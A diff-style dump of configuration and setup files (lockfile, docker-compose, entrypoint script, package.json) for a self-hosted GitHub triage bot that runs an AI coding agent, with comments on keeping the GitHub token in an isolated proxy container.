"lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.29.2", "", { "os": "linux", "cpu": "x64" }, "sha512-0v6idDCPG6epLXtBH/RPkHvYx74CVziHo6TMYga8O2EiQApnUPZsbR9nFNrg2cgBzk1AYqEd95TlrsL7nYABQg=="],
|
||||
|
||||
"lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.29.2", "", { "os": "linux", "cpu": "x64" }, "sha512-rMpz2yawkgGT8RULc5S4WiZopVMOFWjiItBT7aSfDX4NQav6M44rhn5hjtkKzB+wMTRlLLqxkeYEtQ3dd9696w=="],
|
||||
|
||||
"lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.29.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-nL7zRW6evGQqYVu/bKGK+zShyz8OVzsCotFgc7judbt6wnB2KbiKKJwBE4SGoDBQ1O94RjW4asrCjQL4i8Fhbw=="],
|
||||
|
||||
"lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.29.2", "", { "os": "win32", "cpu": "x64" }, "sha512-EdIUW3B2vLuHmv7urfzMI/h2fmlnOQBk1xlsDxkN1tCWKjNFjfLhGxYk8C8mzpSfr+A6jFFIi8fU6LbQGsRWjA=="],
|
||||
|
||||
"lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
|
||||
|
||||
"merge-anything": ["merge-anything@5.1.7", "", { "dependencies": { "is-what": "^4.1.8" } }, "sha512-eRtbOb1N5iyH0tkQDAoQ4Ipsp/5qSR79Dzrz8hEPxRX10RWWR/iQXdoKmBSRCThY1Fh5EhISDtpSc93fpxUniQ=="],
|
||||
|
||||
"ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
|
||||
|
||||
"nanoid": ["nanoid@3.3.12", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="],
|
||||
|
||||
"node-releases": ["node-releases@2.0.38", "", {}, "sha512-3qT/88Y3FbH/Kx4szpQQ4HzUbVrHPKTLVpVocKiLfoYvw9XSGOX2FmD2d6DrXbVYyAQTF2HeF6My8jmzx7/CRw=="],
|
||||
|
||||
"parse5": ["parse5@7.3.0", "", { "dependencies": { "entities": "^6.0.0" } }, "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw=="],
|
||||
|
||||
"picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
|
||||
|
||||
"postcss": ["postcss@8.5.14", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg=="],
|
||||
|
||||
"robomp-web": ["robomp-web@workspace:web"],
|
||||
|
||||
"rollup": ["rollup@4.60.3", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.60.3", "@rollup/rollup-android-arm64": "4.60.3", "@rollup/rollup-darwin-arm64": "4.60.3", "@rollup/rollup-darwin-x64": "4.60.3", "@rollup/rollup-freebsd-arm64": "4.60.3", "@rollup/rollup-freebsd-x64": "4.60.3", "@rollup/rollup-linux-arm-gnueabihf": "4.60.3", "@rollup/rollup-linux-arm-musleabihf": "4.60.3", "@rollup/rollup-linux-arm64-gnu": "4.60.3", "@rollup/rollup-linux-arm64-musl": "4.60.3", "@rollup/rollup-linux-loong64-gnu": "4.60.3", "@rollup/rollup-linux-loong64-musl": "4.60.3", "@rollup/rollup-linux-ppc64-gnu": "4.60.3", "@rollup/rollup-linux-ppc64-musl": "4.60.3", "@rollup/rollup-linux-riscv64-gnu": "4.60.3", "@rollup/rollup-linux-riscv64-musl": "4.60.3", "@rollup/rollup-linux-s390x-gnu": "4.60.3", "@rollup/rollup-linux-x64-gnu": "4.60.3", "@rollup/rollup-linux-x64-musl": "4.60.3", "@rollup/rollup-openbsd-x64": "4.60.3", "@rollup/rollup-openharmony-arm64": "4.60.3", "@rollup/rollup-win32-arm64-msvc": "4.60.3", "@rollup/rollup-win32-ia32-msvc": "4.60.3", "@rollup/rollup-win32-x64-gnu": "4.60.3", "@rollup/rollup-win32-x64-msvc": "4.60.3", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-pAQK9HalE84QSm4Po3EmWIZPd3FnjkShVkiMlz1iligWYkWQ7wHYd1PF/T7QZ5TVSD6uSTon5gBVMSM4JfBV+A=="],
|
||||
|
||||
"semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="],
|
||||
|
||||
"seroval": ["seroval@1.5.4", "", {}, "sha512-46uFvgrXTVxZcUorgSSRZ4y+ieqLLQRMlG4bnCZKW3qI6BZm7Rg4ntMW4p1mILEEBZWrFlcpp0AyIIlM6jD9iw=="],
|
||||
|
||||
"seroval-plugins": ["seroval-plugins@1.5.4", "", { "peerDependencies": { "seroval": "^1.0" } }, "sha512-S0xQPhUTefAhNvNWFg0c1J8qJArHt5KdtJ/cFAofo06KD1MVSeFWyl4iiu+ApDIuw0WhjpOfCdgConOfAnLgkw=="],
|
||||
|
||||
"solid-js": ["solid-js@1.9.12", "", { "dependencies": { "csstype": "^3.1.0", "seroval": "~1.5.0", "seroval-plugins": "~1.5.0" } }, "sha512-QzKaSJq2/iDrWR1As6MHZQ8fQkdOBf8GReYb7L5iKwMGceg7HxDcaOHk0at66tNgn9U2U7dXo8ZZpLIAmGMzgw=="],
|
||||
|
||||
"solid-refresh": ["solid-refresh@0.6.3", "", { "dependencies": { "@babel/generator": "^7.23.6", "@babel/helper-module-imports": "^7.22.15", "@babel/types": "^7.23.6" }, "peerDependencies": { "solid-js": "^1.3" } }, "sha512-F3aPsX6hVw9ttm5LYlth8Q15x6MlI/J3Dn+o3EQyRTtTxidepSTwAYdozt01/YA+7ObcciagGEyXIopGZzQtbA=="],
|
||||
|
||||
"source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="],
|
||||
|
||||
"tailwindcss": ["tailwindcss@4.0.14", "", {}, "sha512-92YT2dpt671tFiHH/e1ok9D987N9fHD5VWoly1CdPD/Cd1HMglvZwP3nx2yTj2lbXDAHt8QssZkxTLCCTNL+xw=="],
|
||||
|
||||
"tapable": ["tapable@2.3.3", "", {}, "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A=="],
|
||||
|
||||
"typescript": ["typescript@5.7.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-84MVSjMEHP+FQRPy3pX9sTVV/INIex71s9TL2Gm5FG/WG1SqXeKyZ0k7/blY/4FdOzI12CBy1vGc4og/eus0fw=="],
|
||||
|
||||
"undici-types": ["undici-types@6.20.0", "", {}, "sha512-Ny6QZ2Nju20vw1SRHe3d9jVu6gJ+4e3+MMpqu7pqE5HT6WsTSlce++GQmK5UXS8mzV8DSYHrQH+Xrf2jVcuKNg=="],
|
||||
|
||||
"update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
|
||||
|
||||
"vite": ["vite@5.4.14", "", { "dependencies": { "esbuild": "^0.21.3", "postcss": "^8.4.43", "rollup": "^4.20.0" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || >=20.0.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.4.0" }, "optionalPeers": ["@types/node", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser"], "bin": { "vite": "bin/vite.js" } }, "sha512-EK5cY7Q1D8JNhSaPKVK4pwBFvaTmZxEnoKXLG/U9gmdDcihQGNzFlgIvaxezFR4glP1LsuiedwMBqCXH3wZccA=="],
|
||||
|
||||
"vite-plugin-solid": ["vite-plugin-solid@2.11.6", "", { "dependencies": { "@babel/core": "^7.23.3", "@types/babel__core": "^7.20.4", "babel-preset-solid": "^1.8.4", "merge-anything": "^5.1.7", "solid-refresh": "^0.6.3", "vitefu": "^1.0.4" }, "peerDependencies": { "@testing-library/jest-dom": "^5.16.6 || ^5.17.0 || ^6.*", "solid-js": "^1.7.2", "vite": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0" }, "optionalPeers": ["@testing-library/jest-dom"] }, "sha512-Sl5CTqJTGyEeOsmdH6BOgalIZlwH3t4/y0RQuFLMGnvWMBvxb4+lq7x3BSiAw6etf0QexfNJW7HSOO/Qf7pigg=="],
|
||||
|
||||
"vitefu": ["vitefu@1.1.3", "", { "peerDependencies": { "vite": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" }, "optionalPeers": ["vite"] }, "sha512-ub4okH7Z5KLjb6hDyjqrGXqWtWvoYdU3IGm/NorpgHncKoLTCfRIbvlhBm7r0YstIaQRYlp4yEbFqDcKSzXSSg=="],
|
||||
|
||||
"yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
|
||||
|
||||
"babel-plugin-jsx-dom-expressions/@babel/helper-module-imports": ["@babel/helper-module-imports@7.18.6", "", { "dependencies": { "@babel/types": "^7.18.6" } }, "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA=="],
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
telemetry = false
|
||||
|
||||
[install]
|
||||
linker = "hoisted"
|
||||
saveTextLockfile = true
|
||||
|
||||
[run]
|
||||
bun = true
|
||||
@@ -0,0 +1,150 @@
|
||||
services:
|
||||
# ───────────────────────────────────────────────────────────────────────────
|
||||
# roboomp orchestrator
|
||||
#
|
||||
# NOTE: `env_file:` is INTENTIONALLY ABSENT. We never want the gh-proxy's
|
||||
# PAT (`GITHUB_TOKEN` in .env) to leak into this container's environment.
|
||||
# Every variable below is an explicit allowlist; compose still reads `.env`
|
||||
# for `${VAR}` interpolation, but only the keys listed here flow into the
|
||||
# container. Adding a new secret means an explicit compose-level decision
|
||||
# about which container is allowed to see it.
|
||||
# ───────────────────────────────────────────────────────────────────────────
|
||||
robomp:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile
|
||||
args:
|
||||
# Tag of the pre-built artifacts image produced by `bun run pi-artifacts`
|
||||
# (sources: /work/pi/Dockerfile). Override per-environment as needed.
|
||||
PI_ARTIFACTS_IMAGE: oh-my-pi/artifacts:dev
|
||||
image: robomp:dev
|
||||
container_name: robomp
|
||||
# Phase B (graceful shutdown): gives the orchestrator at least
|
||||
# ROBOMP_SHUTDOWN_DRAIN_TIMEOUT_SECONDS + ROBOMP_SHUTDOWN_KILL_TIMEOUT_SECONDS
|
||||
# before SIGKILL. Defaults: 25 + 5 = 30s.
|
||||
stop_grace_period: 30s
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
# --- gh-proxy channel ---
|
||||
# The orchestrator NEVER holds GITHUB_TOKEN; it talks to the sibling
|
||||
# gh-proxy container over the internal-only network.
|
||||
ROBOMP_GH_PROXY_URL: http://gh-proxy:8081
|
||||
ROBOMP_GH_PROXY_HMAC_KEY: ${ROBOMP_GH_PROXY_HMAC_KEY:?ROBOMP_GH_PROXY_HMAC_KEY must be set in .env}
|
||||
|
||||
# --- webhook + identity ---
|
||||
GITHUB_WEBHOOK_SECRET: ${GITHUB_WEBHOOK_SECRET:?GITHUB_WEBHOOK_SECRET must be set in .env}
|
||||
ROBOMP_BOT_LOGIN: ${ROBOMP_BOT_LOGIN:?ROBOMP_BOT_LOGIN must be set in .env}
|
||||
ROBOMP_GIT_AUTHOR_NAME: ${ROBOMP_GIT_AUTHOR_NAME:-}
|
||||
ROBOMP_GIT_AUTHOR_EMAIL: ${ROBOMP_GIT_AUTHOR_EMAIL:?ROBOMP_GIT_AUTHOR_EMAIL must be set in .env}
|
||||
ROBOMP_REPO_ALLOWLIST: ${ROBOMP_REPO_ALLOWLIST:?ROBOMP_REPO_ALLOWLIST must be set in .env}
|
||||
ROBOMP_MAINTAINER_LOGINS: ${ROBOMP_MAINTAINER_LOGINS:-}
|
||||
ROBOMP_REVIEWER_BOTS: ${ROBOMP_REVIEWER_BOTS:-}
|
||||
|
||||
# --- model selection ---
|
||||
ROBOMP_MODEL: ${ROBOMP_MODEL:-p-anthropic/claude-sonnet-4-6}
|
||||
ROBOMP_PROVIDER: ${ROBOMP_PROVIDER:-}
|
||||
ROBOMP_THINKING: ${ROBOMP_THINKING:-high}
|
||||
|
||||
# --- runtime tuning ---
|
||||
ROBOMP_MAX_CONCURRENCY: ${ROBOMP_MAX_CONCURRENCY:-8}
|
||||
ROBOMP_TASK_TIMEOUT_SECONDS: ${ROBOMP_TASK_TIMEOUT_SECONDS:-2400}
|
||||
ROBOMP_TASK_TIMEOUT_HARD_GRACE_SECONDS: ${ROBOMP_TASK_TIMEOUT_HARD_GRACE_SECONDS:-60}
|
||||
ROBOMP_REQUEST_TIMEOUT_SECONDS: ${ROBOMP_REQUEST_TIMEOUT_SECONDS:-120}
|
||||
ROBOMP_RATE_LIMIT_WINDOW_SECONDS: ${ROBOMP_RATE_LIMIT_WINDOW_SECONDS:-3600}
|
||||
ROBOMP_RATE_LIMIT_DEFAULT: ${ROBOMP_RATE_LIMIT_DEFAULT:-3}
|
||||
ROBOMP_RATE_LIMIT_CONTRIBUTOR: ${ROBOMP_RATE_LIMIT_CONTRIBUTOR:-10}
|
||||
ROBOMP_RATE_LIMIT_UNLIMITED: ${ROBOMP_RATE_LIMIT_UNLIMITED:-}
|
||||
ROBOMP_QUESTION_AUTOCLOSE_ENABLED: ${ROBOMP_QUESTION_AUTOCLOSE_ENABLED:-true}
|
||||
ROBOMP_QUESTION_AUTOCLOSE_HOURS: ${ROBOMP_QUESTION_AUTOCLOSE_HOURS:-4}
|
||||
ROBOMP_QUESTION_AUTOCLOSE_SCAN_SECONDS: ${ROBOMP_QUESTION_AUTOCLOSE_SCAN_SECONDS:-60}
|
||||
ROBOMP_REPLAY_TOKEN: ${ROBOMP_REPLAY_TOKEN:-}
|
||||
|
||||
# --- container-fixed paths ---
|
||||
ROBOMP_OMP_COMMAND: omp
|
||||
ROBOMP_WORKSPACE_ROOT: /data/workspaces
|
||||
ROBOMP_SQLITE_PATH: /data/robomp.sqlite
|
||||
ROBOMP_LOG_DIR: /data/logs
|
||||
ROBOMP_BIND_HOST: ${ROBOMP_BIND_HOST:-0.0.0.0}
|
||||
ROBOMP_BIND_PORT: ${ROBOMP_BIND_PORT:-8080}
|
||||
PI_ROOT: /work/pi
|
||||
depends_on:
|
||||
gh-proxy:
|
||||
condition: service_started
|
||||
# Resolve `llm-gateway.internal` (used in /srv/agent-home/.omp/agent/models.yml) to the
|
||||
# Docker host. The actual gateway listens on 127.0.0.1:4000 on the host;
|
||||
# `host-gateway` is Docker's alias for the host bridge IP.
|
||||
extra_hosts:
|
||||
- "llm-gateway.internal:host-gateway"
|
||||
networks:
|
||||
- default
|
||||
- robomp_internal
|
||||
volumes:
|
||||
- ${PI_ROOT:-/work/pi}:/work/pi:ro
|
||||
- robomp_data:/data
|
||||
# Host agent config is mounted read-only under /srv/agent-home-stage
|
||||
# with host-controlled permissions. The entrypoint copies it into
|
||||
# root-owned, world-readable files under /srv/agent-home; the agent
|
||||
# subprocess runs with HOME=/srv/agent-home, so ~/.omp and ~/.agent
|
||||
# resolve there without exposing mutable host mounts.
|
||||
- ${HOME}/.omp/agent/models.yml:/srv/agent-home-stage/.omp/agent/models.yml:ro
|
||||
- ${HOME}/.agent/AGENT.md:/srv/agent-home-stage/.agent/AGENTS.md:ro
|
||||
- ${HOME}/.agent/rules:/srv/agent-home-stage/.agent/rules:ro
|
||||
ports:
|
||||
- "127.0.0.1:6543:8080"
|
||||
|
||||
# ───────────────────────────────────────────────────────────────────────────
|
||||
# gh-proxy
|
||||
#
|
||||
# The only container that ever holds GITHUB_TOKEN. Reachable only from the
|
||||
# orchestrator on the internal-only network — no host port mapping. Every
|
||||
# request must carry a valid HMAC signature (ROBOMP_GH_PROXY_HMAC_KEY).
|
||||
# `env_file:` is INTENTIONALLY ABSENT for the same reason: the explicit
|
||||
# allowlist below is the only place where any var lands in this container.
|
||||
# ───────────────────────────────────────────────────────────────────────────
|
||||
gh-proxy:
|
||||
image: robomp:dev
|
||||
container_name: gh-proxy
|
||||
restart: unless-stopped
|
||||
command: ["python", "-m", "robomp.proxy", "serve"]
|
||||
environment:
|
||||
# PAT: lives ONLY here. The orchestrator's compose block refuses to
|
||||
# let this var into its container.
|
||||
GITHUB_TOKEN: ${GITHUB_TOKEN:?GITHUB_TOKEN must be set in .env}
|
||||
# Shared with the orchestrator: HMAC verification key.
|
||||
ROBOMP_GH_PROXY_HMAC_KEY: ${ROBOMP_GH_PROXY_HMAC_KEY:?ROBOMP_GH_PROXY_HMAC_KEY must be set in .env}
|
||||
# The proxy reuses the SandboxManager pool layout under /data/workspaces.
|
||||
ROBOMP_WORKSPACE_ROOT: /data/workspaces
|
||||
ROBOMP_SQLITE_PATH: /data/robomp.sqlite
|
||||
ROBOMP_LOG_DIR: /data/logs
|
||||
# Bind on the internal network only.
|
||||
ROBOMP_GH_PROXY_BIND_HOST: 0.0.0.0
|
||||
ROBOMP_GH_PROXY_BIND_PORT: 8081
|
||||
# Settings still requires these on construction; the proxy never uses
|
||||
# them but the validator runs the same code path as the orchestrator.
|
||||
GITHUB_WEBHOOK_SECRET: ${GITHUB_WEBHOOK_SECRET:?GITHUB_WEBHOOK_SECRET must be set in .env}
|
||||
ROBOMP_BOT_LOGIN: ${ROBOMP_BOT_LOGIN:?ROBOMP_BOT_LOGIN must be set in .env}
|
||||
ROBOMP_GIT_AUTHOR_EMAIL: ${ROBOMP_GIT_AUTHOR_EMAIL:?ROBOMP_GIT_AUTHOR_EMAIL must be set in .env}
|
||||
ROBOMP_REPO_ALLOWLIST: ${ROBOMP_REPO_ALLOWLIST:?ROBOMP_REPO_ALLOWLIST must be set in .env}
|
||||
networks:
|
||||
# `default` gives gh-proxy outbound NAT to api.github.com; `robomp_internal`
|
||||
# is how the orchestrator reaches it. No `ports:` mapping → still
|
||||
# unreachable from the host or any sibling project.
|
||||
- default
|
||||
- robomp_internal
|
||||
volumes:
|
||||
# Shared workspace pool/worktrees so the proxy can drive git operations
|
||||
# against the same per-issue worktrees the orchestrator builds.
|
||||
- robomp_data:/data
|
||||
|
||||
networks:
|
||||
# External-facing bridge: webhook ingress (8080) and the orchestrator's
|
||||
# outbound path to the host LLM gateway via extra_hosts.
|
||||
default: {}
|
||||
# Orchestrator <-> gh-proxy only. internal: true means no egress and no
|
||||
# ingress from outside the compose project.
|
||||
robomp_internal:
|
||||
internal: true
|
||||
|
||||
volumes:
|
||||
# Docker-managed Linux volume so UID/GID permissions on /data are enforced.
|
||||
robomp_data: {}
|
||||
Executable
+82
@@ -0,0 +1,82 @@
|
||||
#!/usr/bin/env bash
|
||||
# roboomp container entrypoint. No per-boot pip installs — everything is baked
|
||||
# into the image; we only sanity-check the runtime mount and create state dirs.
|
||||
#
|
||||
# Used by both the orchestrator (CMD: `python -m robomp serve`) and the
|
||||
# sibling gh-proxy (compose command: `python -m robomp.proxy serve`). The
|
||||
# proxy role does NOT need a $PI_ROOT pi checkout — it never runs omp.
|
||||
set -euo pipefail
|
||||
|
||||
# Shared git metadata under /data/workspaces/_pool is intentionally group
|
||||
# writable by the `omp` group so interrupted work can resume on a different
|
||||
# slot user. Keep new files and directories compatible with that model.
|
||||
umask 0002
|
||||
|
||||
# Detect the proxy role by inspecting the command. Compose passes `command:`
|
||||
# as $@ here (after tini --), so $1=python, $2=-m, $3=robomp.proxy is the
|
||||
# canonical shape; we also accept a single concatenated arg for safety.
|
||||
is_proxy_role=0
|
||||
if [ "${1:-}" = "python" ] && [ "${2:-}" = "-m" ] && [[ "${3:-}" == robomp.proxy* ]]; then
|
||||
is_proxy_role=1
|
||||
elif [[ "${1:-}" == *"robomp.proxy"* ]]; then
|
||||
is_proxy_role=1
|
||||
fi
|
||||
|
||||
/usr/sbin/groupadd -f -g 2000 omp
|
||||
max_slots="${ROBOMP_MAX_CONCURRENCY:-8}"
|
||||
for i in $(seq 1 "$max_slots"); do
|
||||
user="omp-$i"
|
||||
slot_group="omp-$i"
|
||||
slot_id=$((2000 + i))
|
||||
/usr/sbin/groupadd -f -g "$slot_id" "$slot_group"
|
||||
id -u "$user" >/dev/null 2>&1 || /usr/sbin/useradd -u "$slot_id" -g "$slot_group" -G omp -M -N -s /usr/sbin/nologin "$user"
|
||||
/usr/sbin/usermod -g "$slot_group" -a -G omp "$user"
|
||||
done
|
||||
|
||||
if [ "$is_proxy_role" -eq 1 ]; then
|
||||
exec "$@"
|
||||
fi
|
||||
|
||||
: "${PI_ROOT:=/work/pi}"
|
||||
if [ ! -d "$PI_ROOT/packages/coding-agent" ]; then
|
||||
echo "roboomp: PI_ROOT=$PI_ROOT does not look like a pi checkout (no packages/coding-agent/)" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p /data/workspaces /data/workspaces/_pool /data/logs
|
||||
# Persistent build caches under the /data volume. CARGO_HOME,
|
||||
# CARGO_TARGET_DIR, and RUSTUP_HOME are pinned to these paths in the image ENV
|
||||
# so every per-issue worktree shares one cargo target/toolchain. Bun install
|
||||
# cache is workspace-private; a shared cache is unsafe across slot users
|
||||
# because bun may chmod/chown its cache root to the first writer.
|
||||
mkdir -p /data/cache/cargo /data/cache/cargo-target /data/cache/rustup /data/cache/pi-natives
|
||||
chown -R root:omp /data/cache /data/workspaces/_pool
|
||||
find /data/cache /data/workspaces/_pool -type d -exec chmod 2770 {} +
|
||||
find /data/cache /data/workspaces/_pool -type f -perm /111 -exec chmod 0770 {} +
|
||||
find /data/cache /data/workspaces/_pool -type f ! -perm /111 -exec chmod 0660 {} +
|
||||
chmod 0700 /data/logs
|
||||
|
||||
|
||||
rm -rf /srv/agent-home/.agent /srv/agent-home/.omp/agent
|
||||
mkdir -p /srv/agent-home/.agent /srv/agent-home/.omp/agent
|
||||
if [ -e /srv/agent-home-stage/.agent ]; then
|
||||
cp -a /srv/agent-home-stage/.agent/. /srv/agent-home/.agent/
|
||||
fi
|
||||
if [ -e /srv/agent-home-stage/.omp/agent ]; then
|
||||
cp -a /srv/agent-home-stage/.omp/agent/. /srv/agent-home/.omp/agent/
|
||||
fi
|
||||
chown -R root:root /srv/agent-home || true
|
||||
find /srv/agent-home -type d -exec chmod 0755 {} +
|
||||
find /srv/agent-home -type f -exec chmod 0644 {} +
|
||||
|
||||
touch /data/robomp.sqlite
|
||||
chown root:root /data/robomp.sqlite
|
||||
chmod 0600 /data/robomp.sqlite
|
||||
for db_file in /data/robomp.sqlite-wal /data/robomp.sqlite-shm; do
|
||||
if [ -e "$db_file" ]; then
|
||||
chown root:root "$db_file"
|
||||
chmod 0600 "$db_file"
|
||||
fi
|
||||
done
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,64 @@
|
||||
{
|
||||
"name": "robomp",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"packageManager": "bun@1.3.14",
|
||||
"description": "Self-hosted GitHub triage-and-fix bot driving oh-my-pi.",
|
||||
"workspaces": ["web"],
|
||||
"scripts": {
|
||||
"dev": "bun run build && bun run up && bun run logs",
|
||||
"build": "bun run pi-artifacts && docker compose build",
|
||||
"rebuild": "bash scripts/with-pi-root.sh bash -c 'docker build --no-cache -t \"${PI_ARTIFACTS_IMAGE:-oh-my-pi/artifacts:dev}\" \"$PI_ROOT\"' && docker compose build --no-cache",
|
||||
"pi-artifacts": "bash scripts/with-pi-root.sh bash -c 'docker build -t \"${PI_ARTIFACTS_IMAGE:-oh-my-pi/artifacts:dev}\" \"$PI_ROOT\"'",
|
||||
"clean-pi-artifacts": "docker image rm ${PI_ARTIFACTS_IMAGE:-oh-my-pi/artifacts:dev} || true",
|
||||
"image-info": "docker image inspect robomp:dev --format 'size: {{.Size}} bytes layers: {{len .RootFS.Layers}} created: {{.Created}}'",
|
||||
"up": "bash scripts/with-pi-root.sh docker compose up -d",
|
||||
"down": "docker compose down",
|
||||
"restart": "docker compose restart robomp",
|
||||
"ps": "docker compose ps",
|
||||
"logs": "docker compose logs -f robomp",
|
||||
"proxy-logs": "docker compose logs -f gh-proxy",
|
||||
"tail": "docker compose logs --no-color --tail \"${1:-200}\" robomp",
|
||||
"log-grep": "docker compose logs --no-color robomp | grep -i -- \"$1\" || true",
|
||||
"sh": "docker compose exec robomp bash",
|
||||
"exec": "docker compose exec robomp \"$@\"",
|
||||
"triage": "docker compose exec robomp robomp triage \"$1\"",
|
||||
"replay": "docker compose exec robomp robomp replay \"$1\"",
|
||||
"issue-status": "docker compose exec robomp robomp status",
|
||||
"cleanup": "docker compose exec robomp robomp cleanup \"$1\"",
|
||||
"install:py": "pip install -e '.[dev]'",
|
||||
"test": "pytest -x tests/ \"$@\"",
|
||||
"test:integration": "ROBOMP_INTEGRATION=1 pytest -x tests/test_worker_smoke.py \"$@\"",
|
||||
"test:file": "pytest -x \"$@\"",
|
||||
"serve": "python3 -m robomp serve",
|
||||
"lint": "bun run lint:ts && bun run lint:py",
|
||||
"lint:ts": "biome check . --no-errors-on-unmatched",
|
||||
"lint:py": "ruff check src tests && ruff format --check src tests",
|
||||
"fix": "bun run fix:ts && bun run fix:py",
|
||||
"fix:ts": "biome check --write --unsafe --no-errors-on-unmatched .",
|
||||
"fix:py": "ruff check --fix src tests && ruff format src tests",
|
||||
"fmt": "biome format --write --no-errors-on-unmatched .",
|
||||
"check": "biome check . --no-errors-on-unmatched",
|
||||
"typecheck": "bun --cwd=web run typecheck",
|
||||
"web:dev": "bun --cwd=web run dev",
|
||||
"web:build": "bun --cwd=web run build",
|
||||
"web:preview": "bun --cwd=web run preview",
|
||||
"web:typecheck": "bun --cwd=web run typecheck",
|
||||
"healthz": "curl -fsS \"http://localhost:${ROBOMP_BIND_PORT:-8080}/healthz\" && echo",
|
||||
"readyz": "curl -fsS \"http://localhost:${ROBOMP_BIND_PORT:-8080}/readyz\" && echo",
|
||||
"events": "curl -fsS \"http://localhost:${ROBOMP_BIND_PORT:-8080}/events?limit=${1:-50}\" | python3 -m json.tool",
|
||||
"issues": "curl -fsS \"http://localhost:${ROBOMP_BIND_PORT:-8080}/issues?limit=${1:-100}\" | python3 -m json.tool",
|
||||
"sqlite": "docker compose exec robomp sqlite3 /data/robomp.sqlite",
|
||||
"sql": "docker compose exec robomp sqlite3 -header -column /data/robomp.sqlite \"$1\"",
|
||||
"tool-calls": "docker compose exec robomp sqlite3 -header -column /data/robomp.sqlite \"SELECT id, ts, tool, COALESCE(error,'ok') AS err FROM tool_calls WHERE issue_key='$1' ORDER BY id;\"",
|
||||
"recent-events": "docker compose exec robomp sqlite3 -header -column /data/robomp.sqlite \"SELECT received_at, event_type, issue_key, state, attempts FROM events ORDER BY received_at DESC LIMIT ${1:-20};\"",
|
||||
"stuck": "docker compose exec robomp sqlite3 -header -column /data/robomp.sqlite \"SELECT delivery_id, event_type, issue_key, state, attempts, started_at FROM events WHERE state IN ('queued','running') ORDER BY received_at;\"",
|
||||
"ping": "bash scripts/ping.sh",
|
||||
"wipe-workspaces": "rm -rf ./data/workspaces && mkdir -p ./data/workspaces",
|
||||
"nuke-data": "rm -rf ./data && mkdir -p ./data",
|
||||
"reset": "docker compose down -v && (docker image rm ${PI_ARTIFACTS_IMAGE:-oh-my-pi/artifacts:dev} || true)"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "^2.4.14"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
[build-system]
|
||||
requires = ["setuptools>=69"]
|
||||
build-backend = "setuptools.build_meta"
|
||||
|
||||
[project]
|
||||
name = "robomp"
|
||||
version = "0.1.0"
|
||||
description = "Self-hosted GitHub triage/fix bot driving omp --mode rpc"
|
||||
